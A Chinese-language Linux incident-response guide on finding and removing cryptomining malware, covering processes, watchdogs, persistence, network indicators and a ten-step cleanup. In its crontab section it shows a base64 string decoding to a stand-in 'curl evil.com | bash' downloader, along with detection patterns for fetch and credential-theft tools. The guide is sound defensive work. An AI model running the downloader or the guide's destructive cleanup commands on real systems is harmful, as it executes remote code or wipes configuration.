挖矿病毒应急响应 挖矿病毒是当前 Linux 服务器上最常见的安全事件之一。本章从症状识别、进程分析到完整处置流程,提供实战导向的排查指南
关联章节:05-进程与网络分析 、07-计划任务审计 、13-Redis未授权访问应急
1. 挖矿病毒概述 1.1 加密货币挖矿原理(简要) 加密货币(如 Monero/XMR)通过”挖矿”过程产生——计算机消耗算力解决数学难题,获得区块奖励
挖矿的核心是 消耗 CPU/GPU 算力 来进行哈希计算
攻击者不用自己的设备挖矿,而是入侵他人服务器,利用受害者的算力为自己赚钱
为什么是 Monero(门罗币)?
Monero 使用 RandomX 算法,专门针对 CPU 优化,不依赖 GPU
Monero 具有强匿名性,交易不可追踪
非常适合在服务器上运行——服务器通常没有 GPU 但有多核 CPU
挖矿程序通过 Stratum 协议 与矿池通信
矿池分配计算任务
挖矿程序完成计算后提交结果
收益按照算力贡献分配
1.2 为什么服务器是挖矿攻击的主要目标 服务器通常 7x24 小时在线,算力稳定
多核 CPU 提供高算力
网络带宽充足
很多服务器安全防护薄弱(弱密码、未打补丁、配置不当)
电费由受害者承担——攻击者的”零成本挖矿”
云服务器尤其受青睐——按量付费模式下受害者还要承担高额账单
1.3 常见挖矿程序
程序名
描述
特点
XMRig
最流行的开源 Monero 挖矿程序
合法软件被滥用,高性能
kdevtmpfsi
常见挖矿木马名称
伪装成系统进程
kinsing
kdevtmpfsi 的 watchdog
负责守护和重新下载矿机
xmr-stak
另一个开源挖矿程序
支持 CPU/GPU
c3pool_miner
绑定 c3pool 矿池的矿机
预配置矿池
xmrig-notls
XMRig 去 TLS 版本
减小体积
攻击者经常将挖矿程序重命名为以下名称以逃避检测:
[kworker/0:0]、[migration/0]——伪装成内核线程
sshd、crond、httpd——伪装成系统服务
.sshd、...——使用隐藏文件名
随机字符串——a3f8b2c1
1.4 常见感染途径
感染途径
占比(估计)
说明
Redis 未授权访问
~30%
详见 13-Redis未授权访问应急
SSH 暴力破解
~25%
弱密码导致
Web 应用漏洞
~20%
Struts2, WebLogic, ThinkPHP 等
Docker 未授权访问
~10%
Docker API 暴露在公网(2375 端口)
容器逃逸
~5%
从容器逃逸到宿主机
其他
~10%
Jenkins, Confluence, Hadoop 等组件漏洞
2. 症状识别 2.1 CPU 使用率异常 这是最明显、最常见的第一个告警信号
1 2 3 4 5 6 7 8 9 10 11 12 13 14 top -bn1 -o %CPU | head -20 ps aux --sort =-%cpu | head -20 mpstat -P ALL 1 3 sar -u 1 10 htop
正常服务器 vs 挖矿感染服务器
指标
正常
感染挖矿
CPU 使用率
波动,通常 < 50%
持续 90-100%
CPU 使用模式
跟随业务波动
恒定高位
系统负载(load average)
合理范围
远超 CPU 核数
用户态 CPU(%us)
正常
极高
注意 :部分高级挖矿木马会限制 CPU 使用率(如 70-80%),以降低被发现的概率
2.2 异常进程名称 常见的挖矿进程名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ps aux | grep -iE "xmrig|kdevtmpfsi|kinsing|xmr-stak|minerd|cryptonight|stratum|c3pool|minergate" ps aux | grep -E "^\[.*\]$" | while read line; do pid=$(echo "$line " | awk '{print $2}' ) exe=$(readlink /proc/$pid /exe 2>/dev/null) if [ -n "$exe " ]; then echo "[!] 可疑伪装进程: PID=$pid EXE=$exe CMD=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ') " fi done for pid in $(ls /proc/ | grep -E "^[0-9]+$" ); do cmdline=$(cat /proc/$pid /cmdline 2>/dev/null | tr '\0' ' ' ) exe=$(readlink /proc/$pid /exe 2>/dev/null) if [ -n "$exe " ] && [ -n "$cmdline " ]; then cmd_base=$(basename "$exe " 2>/dev/null) if echo "$cmdline " | grep -qE "sshd|crond|httpd|nginx" && ! echo "$exe " | grep -qE "sshd|crond|httpd|nginx" ; then echo "[!] 进程名与可执行文件不匹配: PID=$pid CMD=$cmdline EXE=$exe " fi fi done 2>/dev/null
2.3 异常网络连接 挖矿程序必须连接矿池才能工作,网络连接是重要的检测指标
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ss -tnp | grep ESTAB netstat -tnp | grep ESTABLISHED ss -tnp | grep -E ":(3333|4444|5555|7777|8888|14444|14433|45700) " ss -tnp | grep "pid=<PID>" ss -tnp state established | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -20 lsof -i -P -n | grep ESTABLISHED
矿池常用端口
端口
用途
说明
3333
Stratum 标准端口
最常见
4444
Stratum 备用端口
常见
5555
Stratum 高难度端口
高算力矿工
7777
备用端口
部分矿池使用
8888
备用端口
部分矿池使用
14444
TLS 加密 Stratum
更隐蔽
14433
TLS 加密 Stratum
更隐蔽
45700
c3pool 默认端口
c3pool 矿池
2.4 Stratum 协议特征 Stratum 是挖矿通信的标准协议,基于 JSON-RPC
典型的 Stratum 通信内容:
1 2 3 { "id" : 1 , "jsonrpc" : "2.0" , "method" : "login" , "params" : { "login" : "钱包地址" , "pass" : "x" , "agent" : "XMRig/6.x" } } { "id" : 1 , "jsonrpc" : "2.0" , "method" : "job" , "params" : { "blob" : "..." , "job_id" : "..." , "target" : "..." } } { "id" : 2 , "jsonrpc" : "2.0" , "method" : "submit" , "params" : { "id" : "..." , "job_id" : "..." , "nonce" : "..." , "result" : "..." } }
使用 tcpdump 抓取 Stratum 流量:
1 2 3 4 5 6 7 8 9 10 tcpdump -i eth0 -A port 3333 or port 4444 or port 5555 2>/dev/null | head -50 tcpdump -i eth0 -A -c 100 | grep -E "stratum|mining\.|login|job|submit" tcpdump -i eth0 -w /tmp/mining_traffic.pcap port 3333 or port 4444 or port 5555 & sleep 10 && kill %1
2.5 系统响应缓慢 除了 CPU 之外,挖矿还可能导致以下症状:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 uptime free -h iostat -x 1 3 ps aux | awk '{print $8}' | sort | uniq -c | sort -rn
3. 进程分析(重点) 3.1 发现挖矿进程 3.1.1 通过 CPU 使用率定位 1 2 3 4 5 6 7 8 top -bn1 -o %CPU | head -20 ps aux --sort =-%cpu | head -10 ps aux | awk '$3 > 50 {print $0}'
3.1.2 确认进程身份 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 PID=<可疑进程PID> ls -la /proc/$PID /execat /proc/$PID /cmdline | tr '\0' ' ' ls -la /proc/$PID /cwdcat /proc/$PID /environ | tr '\0' '\n' ls -la /proc/$PID /fd/lsof -p $PID ls -la /proc/$PID /net/tcpss -tnp | grep "pid=$PID " cat /proc/$PID /mapsps auxef | grep -A5 -B5 $PID pstree -p $PID
3.1.3 被删除但仍运行的进程 攻击者经常在运行挖矿程序后删除磁盘上的文件,以逃避检测
但在 Linux 中,只要进程还在运行,文件句柄就不会释放
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ls -la /proc/*/exe 2>/dev/null | grep deletedfor pid in $(ls /proc/ | grep -E "^[0-9]+$" ); do exe=$(readlink /proc/$pid /exe 2>/dev/null) if echo "$exe " | grep -q "deleted" ; then user=$(ps -o user= -p $pid 2>/dev/null) cmd=$(cat /proc/$pid /cmdline 2>/dev/null | tr '\0' ' ' ) cpu=$(ps -o %cpu= -p $pid 2>/dev/null) echo "[!] PID=$pid USER=$user CPU=$cpu % EXE=$exe CMD=$cmd " fi done cp /proc/$PID /exe /tmp/evidence_miner_binaryfile /tmp/evidence_miner_binary md5sum /tmp/evidence_miner_binarystrings /tmp/evidence_miner_binary | grep -iE "xmrig|stratum|mining|monero|pool"
3.1.4 进程名伪装检测 1 2 3 4 5 6 7 8 9 10 11 12 13 for pid in $(ls /proc/ | grep -E "^[0-9]+$" ); do comm =$(cat /proc/$pid /comm 2>/dev/null) exe=$(readlink /proc/$pid /exe 2>/dev/null) if [ -n "$comm " ] && [ -n "$exe " ]; then exe_base=$(basename "$exe " 2>/dev/null) if [ "$comm " != "$exe_base " ] && ! echo "$exe " | grep -qE "^$|deleted|python|perl|java|node|ruby|bash|sh|dash" ; then cpu=$(ps -o %cpu= -p $pid 2>/dev/null) echo "PID=$pid COMM=$comm EXE=$exe CPU=${cpu} %" fi fi done 2>/dev/null
3.2 Watchdog 守护进程(重要) 3.2.1 什么是 Watchdog Watchdog(守护进程/看门狗)是挖矿木马的”保镖”
它的职责是:
监控挖矿进程是否存活
如果矿机被杀,立即重新下载并启动
定期从 C2 服务器检查更新
清除竞争对手的挖矿程序
修改系统配置确保持久化
如果先杀矿机再杀 watchdog,矿机会在几秒内被重新拉起
正确顺序:先杀 watchdog → 再杀 miner
3.2.2 如何发现 Watchdog 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 PID=<矿机PID> PPID=$(ps -o ppid= -p $PID | tr -d ' ' ) echo "矿机父进程 PID: $PPID " ps aux | grep $PPID cat /proc/$PPID /cmdline | tr '\0' ' ' readlink /proc/$PPID /exepstree -p | grep -E "xmrig|kdevtmpfsi|kinsing|mine" ps auxef | grep -B5 $PID ps aux | grep -E "bash|sh" | grep -v grep | while read line; do pid=$(echo "$line " | awk '{print $2}' ) cmdline=$(cat /proc/$pid /cmdline 2>/dev/null | tr '\0' ' ' ) if echo "$cmdline " | grep -qiE "curl|wget|while|sleep|kill|mining|miner" ; then echo "[!] 可疑 watchdog: $line " echo " 命令行: $cmdline " fi done ps aux | grep -E "sleep [0-9]" | grep -v grep
3.2.3 常见 Watchdog 特征
家族
Watchdog 进程名
矿机进程名
关系
kinsing
kinsing
kdevtmpfsi
父子进程
TeamTNT
tntrecht
xmrig
守护脚本
WatchDog
watchdog
随机名
while 循环
Outlaw
rsync
[kswapd0]
多层守护
3.3 挖矿配置提取 从挖矿进程中提取配置信息,有助于确定攻击者身份和溯源
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 PID=<矿机PID> cat /proc/$PID /cmdline | tr '\0' '\n' lsof -p $PID | grep -E "\.json|\.conf|config" find /tmp/ /dev/shm/ /var/tmp/ /root/ -name "config.json" -exec cat {} \; 2>/dev/null find /tmp/ /dev/shm/ /var/tmp/ /root/ -name "*.json" -exec grep -l "pool\|wallet\|stratum" {} \; 2>/dev/null strings /proc/$PID /cmdline grep -ao "stratum+tcp://[^ ]*" /proc/$PID /cmdline 2>/dev/null grep -ao "[0-9a-zA-Z]\{95\}" /proc/$PID /maps 2>/dev/null tcpdump -i any -A port 3333 or port 4444 2>/dev/null | grep -oE '"login":"[^"]*"'
4. 持久化排查 4.1 Crontab 排查(最常见) Crontab 是挖矿木马最常用的持久化方式,参考 07-计划任务审计
4.1.1 下载执行型 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 for user in $(cut -d: -f1 /etc/passwd); do cron=$(crontab -l -u "$user " 2>/dev/null) if [ -n "$cron " ]; then echo "===== $user =====" echo "$cron " if echo "$cron " | grep -qiE "curl|wget|\.sh|bash|python|perl" ; then echo "[!] 发现可疑计划任务!" fi fi done cat /etc/crontabls -la /etc/cron.d/for f in /etc/cron.d/*; do echo "=== $f ===" cat "$f " done ls -la /etc/cron.hourly/ls -la /etc/cron.daily/ls -la /etc/cron.weekly/ls -la /etc/cron.monthly/
4.1.2 Base64 编码型 1 2 3 4 5 6 7 8 9 grep -rn "base64" /var/spool/cron/ /var/spool/cron/crontabs/ /etc/cron* 2>/dev/null echo "Y3VybCBodHRwOi8vZXZpbC5jb20vc2V0dXAuc2ggfCBiYXNo" | base64 -d
4.1.3 多层嵌套型 1 2 3 4 5 6 7 8 9 10 11 12 13 curl -s "http://恶意URL/setup.sh" | head -50 find /tmp/ /dev/shm/ /var/tmp/ -name "*.sh" -exec ls -la {} \; -exec head -20 {} \; 2>/dev/null
4.2 SSH 公钥排查 详见 16-SSH-authorized_keys后门
1 2 3 4 5 find / -name "authorized_keys" -exec echo "=== {} ===" \; -exec cat {} \; 2>/dev/null find / -name "authorized_keys" -exec ssh-keygen -l -f {} \; 2>/dev/null
4.3 Systemd 服务排查 部分挖矿木马会创建 systemd 服务实现开机启动
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ls -lt /etc/systemd/system/*.servicels -lt /usr/lib/systemd/system/*.servicels -lt ~/.config/systemd/user/*.service 2>/dev/nullgrep -rl "ExecStart.*tmp\|ExecStart.*dev/shm\|ExecStart.*xmr\|ExecStart.*mine" /etc/systemd/system/ /usr/lib/systemd/system/ 2>/dev/null find /etc/systemd/system/ -name "*.service" -mtime -30 -ls 2>/dev/null systemctl list-units --type =service --state=running | grep -vE "systemd|dbus|cron|ssh|network|rsyslog|udev" systemctl cat <service_name> systemctl status <service_name>
4.4 启动脚本排查 挖矿木马可能修改启动脚本实现持久化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 for user_home in /home/* /root; do for rc_file in .bashrc .bash_profile .profile; do target="$user_home /$rc_file " if [ -f "$target " ]; then suspicious=$(grep -nE "curl|wget|python|perl|/tmp/|/dev/shm/|base64|nohup" "$target " 2>/dev/null) if [ -n "$suspicious " ]; then echo "[!] 可疑内容 in $target :" echo "$suspicious " fi fi done done ls -la /etc/profile.d/for f in /etc/profile.d/*.sh; do if grep -qiE "curl|wget|mine|xmr|tmp|shm" "$f " 2>/dev/null; then echo "[!] 可疑脚本: $f " cat "$f " fi done cat /etc/rc.local 2>/dev/nullls -lt /etc/init.d/ | head -20find /etc/init.d/ -mtime -30 -ls 2>/dev/null
4.5 LD_PRELOAD 与 Rootkit 高级挖矿木马可能使用 LD_PRELOAD 或 rootkit 来隐藏进程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 echo $LD_PRELOAD cat /etc/ld.so.preload 2>/dev/nullbusybox ps aux busybox ls -la /tmp/ busybox netstat -tnp diff <(ps aux | awk '{print $2}' | sort -n) <(ls /proc/ | grep -E "^[0-9]+$" | sort -n)
5. 网络分析 5.1 外连矿池 IP/端口检测 1 2 3 4 5 6 7 8 9 10 11 12 13 ss -tnp state established '( dport = :3333 or dport = :4444 or dport = :5555 or dport = :7777 or dport = :8888 or dport = :14444 or dport = :14433 or dport = :45700 )' ss -tnp state established | awk '{print $5}' | grep -vE ":(80|443|53|22|25|110|143|993|995|3306|5432|6379|27017) " | sort | uniq -c | sort -rn PID=<可疑PID> lsof -p $PID -i -P -n nslookup pool.minexmr.com 2>/dev/null nslookup xmr.pool.minergate.com 2>/dev/null
5.2 DNS 查询异常 1 2 3 4 5 6 7 8 9 10 11 resolvectl statistics 2>/dev/null journalctl -u systemd-resolved | grep -iE "pool|mine|xmr" | tail -20 cat /etc/resolv.conftcpdump -i any port 53 -l 2>/dev/null | grep -iE "pool|mine|xmr|stratum"
5.3 系统配置篡改 挖矿木马常修改系统配置来保护自己
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 cat /etc/hostsstat /etc/hostscat /etc/resolv.confstat /etc/resolv.confiptables -L -n -v iptables -L -n | grep -E "DROP.*dport (3333|4444|5555)" file $(which top) $(which ps) $(which netstat) $(which ss) rpm -V procps-ng net-tools 2>/dev/null dpkg -V procps net-tools 2>/dev/null
5.4 文件属性锁定 部分挖矿木马使用 chattr +i 锁定文件,防止被删除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 lsattr /var/spool/cron/root 2>/dev/null lsattr /var/spool/cron/crontabs/root 2>/dev/null lsattr /etc/crontab 2>/dev/null lsattr /etc/hosts 2>/dev/null lsattr /etc/resolv.conf 2>/dev/null lsattr /root/.ssh/authorized_keys 2>/dev/null chattr -i /var/spool/cron/root chattr -i /etc/hosts chattr -i /root/.ssh/authorized_keys
6. 完整处置流程(重点) 6.1 流程总览 完整的挖矿病毒处置流程包含 10 个步骤,必须按顺序执行
1 2 3 4 5 6 7 8 9 10 1. 隔离主机 ─────────► 防止扩散2. 取证保存 ─────────► 保存证据3. 杀 watchdog ──────► 先杀守护进程4. 杀 miner ─────────► 再杀矿机5. 清除 crontab ─────► 去除持久化6. 清除恶意文件 ──────► 删除木马文件7. 清除 SSH 后门 ────► 删除恶意公钥8. 恢复系统配置 ──────► 恢复 hosts/DNS/iptables9. 修复入侵入口 ──────► 封堵漏洞10. 监控观察 ─────────► 确认清除干净
6.2 详细步骤 步骤 1:隔离主机 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 iptables -F iptables -A INPUT -s <管理IP> -p tcp --dport 22 -j ACCEPT iptables -A INPUT -j DROP iptables -A OUTPUT -d <管理IP> -p tcp --sport 22 -j ACCEPT iptables -A OUTPUT -j DROP iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 4444 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 14444 -j DROP
步骤 2:取证保存 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 EVIDENCE_DIR="/tmp/evidence_$(date +%Y%m%d_%H%M%S) " mkdir -p "$EVIDENCE_DIR " ps auxef > "$EVIDENCE_DIR /ps_auxef.txt" top -bn1 > "$EVIDENCE_DIR /top.txt" ss -tnpea > "$EVIDENCE_DIR /ss_tnpea.txt" ss -unlpea > "$EVIDENCE_DIR /ss_unlpea.txt" for user in $(cut -d: -f1 /etc/passwd); do crontab -l -u "$user " > "$EVIDENCE_DIR /crontab_${user} .txt" 2>/dev/null done cp /etc/crontab "$EVIDENCE_DIR /etc_crontab.txt" cp -r /etc/cron.d/ "$EVIDENCE_DIR /cron.d/" 2>/dev/nullcp /etc/hosts "$EVIDENCE_DIR /hosts.txt" cp /etc/resolv.conf "$EVIDENCE_DIR /resolv.conf.txt" iptables -L -n -v > "$EVIDENCE_DIR /iptables.txt" PID=<矿机PID> cp /proc/$PID /exe "$EVIDENCE_DIR /miner_binary" 2>/dev/nullcat /proc/$PID /cmdline > "$EVIDENCE_DIR /miner_cmdline.txt" 2>/dev/nullcat /proc/$PID /environ > "$EVIDENCE_DIR /miner_environ.txt" 2>/dev/nullcp /root/.ssh/authorized_keys "$EVIDENCE_DIR /authorized_keys.txt" 2>/dev/nullls -laR /tmp/ > "$EVIDENCE_DIR /tmp_listing.txt" ls -laR /dev/shm/ > "$EVIDENCE_DIR /devshm_listing.txt" echo "证据已保存到 $EVIDENCE_DIR "
步骤 3:杀 Watchdog 进程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 PID_MINER=<矿机PID> PPID=$(ps -o ppid= -p $PID_MINER | tr -d ' ' ) ps aux | grep -iE "kinsing|watchdog|guard|daemon|monitor" | grep -v grep ps aux | grep -E "while.*sleep|loop" | grep -v grep kill -9 $PPID pkill -9 -f "kinsing" pkill -9 -f "watchdog" ps aux | grep -iE "kinsing|watchdog" | grep -v grep
步骤 4:杀 Miner 进程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 kill -9 $PID_MINER pkill -9 -f "xmrig" pkill -9 -f "kdevtmpfsi" pkill -9 -f "xmr-stak" pkill -9 -f "minerd" ps aux | grep -iE "xmrig|kdevtmpfsi|mine" | grep -v grep top -bn1 -o %CPU | head -10
步骤 5:清除 Crontab 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 chattr -i /var/spool/cron/root 2>/dev/null chattr -i /var/spool/cron/crontabs/root 2>/dev/null chattr -i /etc/crontab 2>/dev/null chattr -R -i /etc/cron.d/ 2>/dev/null crontab -l -u root crontab -r -u root crontab -e -u root ls -la /etc/cron.d/rm /etc/cron.d/<malicious_file>for user in $(cut -d: -f1 /etc/passwd); do cron=$(crontab -l -u "$user " 2>/dev/null) if echo "$cron " | grep -qiE "curl|wget|mine|xmr|base64" ; then echo "[!] 清除 $user 的恶意 crontab" crontab -r -u "$user " fi done
步骤 6:清除恶意文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 rm -rf /tmp/.X11-unix/ 2>/dev/null rm -rf /tmp/.cache/ 2>/dev/nullrm -rf /tmp/.font-unix/ 2>/dev/nullrm -rf /dev/shm/.* 2>/dev/nullrm -f /tmp/kdevtmpfsi 2>/dev/nullrm -f /tmp/kinsing 2>/dev/nullfind /tmp/ /dev/shm/ /var/tmp/ -name ".*" -exec ls -la {} \; 2>/dev/null find /tmp/ /dev/shm/ /var/tmp/ -type f -executable -ls 2>/dev/null find /tmp/ /dev/shm/ /var/tmp/ -type f -mtime -7 -ls 2>/dev/null systemctl stop <malicious_service> systemctl disable <malicious_service> rm /etc/systemd/system/<malicious_service>.servicesystemctl daemon-reload
步骤 7:清除 SSH 公钥后门 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 cp /root/.ssh/authorized_keys /tmp/evidence_authorized_keys 2>/dev/nullchattr -i /root/.ssh/authorized_keys 2>/dev/null > /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keysfor user_home in /home/*; do auth_file="$user_home /.ssh/authorized_keys" if [ -f "$auth_file " ]; then chattr -i "$auth_file " 2>/dev/null echo "检查 $auth_file " cat "$auth_file " fi done
步骤 8:恢复被修改的系统配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 chattr -i /etc/hosts 2>/dev/null cat > /etc/hosts << 'EOF' 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback EOF chattr -i /etc/resolv.conf 2>/dev/null cat > /etc/resolv.conf << 'EOF' nameserver 8.8.8.8 nameserver 114.114.114.114 EOF iptables -L -n --line-numbers iptables -D INPUT <rule_number> iptables -D OUTPUT <rule_number> apt-get install --reinstall procps net-tools coreutils yum reinstall procps-ng net-tools coreutils > /etc/ld.so.preload 2>/dev/null unset LD_PRELOAD
步骤 9:排查入侵入口并修复漏洞 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ss -tlnp | grep 6379 redis-cli -h 127.0.0.1 PING 2>/dev/null grep "Accepted password" /var/log/auth.log 2>/dev/null | tail -20 grep "Accepted password" /var/log/secure 2>/dev/null | tail -20 grep -iE "eval|exec|system|cmd|shell" /var/log/nginx/access.log 2>/dev/null | tail -20 grep -iE "eval|exec|system|cmd|shell" /var/log/apache2/access.log 2>/dev/null | tail -20 ss -tlnp | grep 2375 curl -s http://127.0.0.1:2375/version 2>/dev/null
步骤 10:监控观察 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 while true ; do echo "$(date) - $(top -bn1 | head -3 | tail -1) " sleep 60 done &auditctl -a always,exit -F arch =b64 -S execve -k process_monitor inotifywait -m -r /var/spool/cron/ /etc/cron.d/ 2>/dev/null & ss -tnp state established | grep -E ":(3333|4444|5555|7777|14444)" ps aux --sort =-%cpu | head -10
7. 常见挖矿家族特征表 以下是实战中常见的挖矿病毒家族及其特征,有助于快速识别和处置
家族
矿机进程名
Watchdog 进程名
典型路径
矿池端口
持久化方式
感染途径
kinsing/kdevtmpfsi
kdevtmpfsi
kinsing
/tmp/kdevtmpfsi
3333, 4444
crontab + SSH key
Redis, Docker API
TeamTNT
xmrig (重命名)
tntrecht, dockerupdate
/tmp/.TeamTNT/, /var/tmp/
14433 (TLS)
crontab + systemd + SSH key
Docker, Kubernetes, Redis
WatchDog
随机名
watchdog 脚本
/tmp/.cache/
5555, 7777
crontab
SSH 暴力破解, Web 漏洞
Outlaw/Shellbot
[kswapd0] 伪装
rsync, tsm
/tmp/.X25-unix/
4444, 3333
crontab + SSH key + IRC bot
SSH 暴力破解
8220 Gang
spirit, 随机名
bashirc.sh
/tmp/, /dev/shm/
45700, 3333
crontab + cron.d
Redis, WebLogic, Confluence
Lemon_Duck
[kthreaddi] 伪装
多层 shell 脚本
/tmp/.sqlnetlsnr/
3333, 4444
crontab + SSH key + systemd
Redis, SSH, EternalBlue
Rocke Group
java, kerberods
pastebin 下载脚本
/var/tmp/.cache/, /usr/local/lib/
14433 (TLS)
crontab + 修改 ld.so.preload
Redis, Oracle WebLogic, Apache Struts
Prometei
mstr, search
prometheus
/tmp/mstr/
3333, 14444
crontab + systemd + SSH worm
SMB, SSH 暴力破解, Exchange 漏洞
各家族特殊行为 kinsing/kdevtmpfsi
最常见的挖矿家族之一
kinsing 作为 watchdog 和下载器
会主动清除竞争对手的挖矿程序
经常通过 Docker API 或 Redis 感染
1 2 3 ps aux | grep -E "kdevtmpfsi|kinsing" find / -name "kdevtmpfsi" -o -name "kinsing" 2>/dev/null
TeamTNT
最活跃、最复杂的挖矿攻击组织
会窃取 AWS 凭证和 Docker 配置
使用 IRC botnet 进行 C2 通信
会部署 rootkit 隐藏进程
1 2 3 4 5 6 find / -name ".TeamTNT" -o -name "tntrecht" 2>/dev/null grep -r "TeamTNT" /tmp/ /var/tmp/ /dev/shm/ 2>/dev/null cat /root/.aws/credentials 2>/dev/nullcat /home/*/.aws/credentials 2>/dev/null
Outlaw/Shellbot
使用 IRC 进行 C2
自带 SSH 暴力破解模块,横向传播
进程名常伪装成内核线程
1 2 3 4 5 6 7 8 9 find /tmp/ -name ".X25-unix" -o -name ".X19-unix" 2>/dev/null ps aux | grep -E "\[kswapd0\]|\[migration/0\]" | while read line; do pid=$(echo "$line " | awk '{print $2}' ) exe=$(readlink /proc/$pid /exe 2>/dev/null) if [ -n "$exe " ]; then echo "[!] 伪装内核线程: PID=$pid EXE=$exe " fi done
8220 Gang
经常利用 Web 应用漏洞(WebLogic, Confluence)
使用 c3pool 矿池(端口 45700)
下载脚本通常托管在 Pastebin 或 GitHub
1 2 3 ss -tnp | grep ":45700" grep -rn "c3pool\|pastebin\|github.*raw" /tmp/ /var/tmp/ /dev/shm/ 2>/dev/null
8. 实战练习 8.1 配套实验环境 实验目录:labs/06-cryptominer/
环境模拟了一个被挖矿病毒感染的 Linux 服务器
实验目标:
发现并识别挖矿进程和 watchdog
找到所有持久化机制(crontab, SSH key, systemd 等)
按正确顺序完成处置
确定入侵入口
完成安全加固
8.2 练习场景 场景 1:基础挖矿排查
告警:服务器 CPU 持续 100%
练习步骤:
使用 top 发现 CPU 占用最高的进程
通过 /proc/PID/exe 确认恶意程序
通过进程树找到 watchdog
检查 crontab 中的下载命令
按正确顺序清除
场景 2:高级挖矿排查
告警:服务器响应缓慢,但 top 看不到异常进程
练习步骤:
怀疑使用了 LD_PRELOAD 隐藏进程
使用 busybox 或静态编译工具检测
对比 /proc 目录和 ps 输出
找到隐藏的挖矿进程
清除 rootkit 和挖矿程序
场景 3:供应链感染
告警:多台服务器同时出现挖矿
练习步骤:
确定第一台被感染的服务器(Patient Zero)
分析横向传播方式(SSH 暴力破解 / SSH key 复用)
在所有受影响服务器上清除矿机
修复传播路径
8.3 排查 Checklist 挖矿病毒应急排查清单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 ===== 症状确认 ===== □ CPU 使用率是否持续异常(>90%) □ 确认消耗 CPU 的进程 PID 和名称 □ 确认进程的真实可执行文件(/proc/PID/exe) □ 检查是否有进程名伪装 ===== 进程分析 ===== □ 提取矿机命令行参数(矿池地址、钱包地址) □ 找到 watchdog/守护进程 □ 检查进程树关系 □ 检查是否有 LD_PRELOAD/rootkit 隐藏进程 ===== 持久化排查 ===== □ 检查所有用户的 crontab □ 检查 /etc/cron.d/ 和 /etc/crontab □ 检查所有用户的 authorized_keys □ 检查 systemd 自定义服务 □ 检查启动脚本(.bashrc, profile.d, rc.local) □ 检查文件是否被 chattr +i 锁定 ===== 网络分析 ===== □ 检查矿池端口连接(3333,4444,5555 等) □ 检查 DNS 配置是否被篡改 □ 检查 /etc/hosts 是否被修改 □ 检查 iptables 异常规则 ===== 处置清除 ===== □ 先杀 watchdog → 再杀 miner □ 清除恶意 crontab □ 清除恶意文件(/tmp/, /dev/shm/, /var/tmp/) □ 清除 SSH 公钥后门 □ 恢复系统配置(hosts, DNS, iptables) □ 恢复/重装被替换的系统工具 ===== 入口溯源 ===== □ Redis 未授权访问? □ SSH 暴力破解? □ Web 应用漏洞? □ Docker API 未授权? □ 其他组件漏洞? ===== 加固与监控 ===== □ 修复入侵入口 □ 加强密码策略 □ 限制不必要的端口暴露 □ 持续监控 CPU 和网络至少 48 小时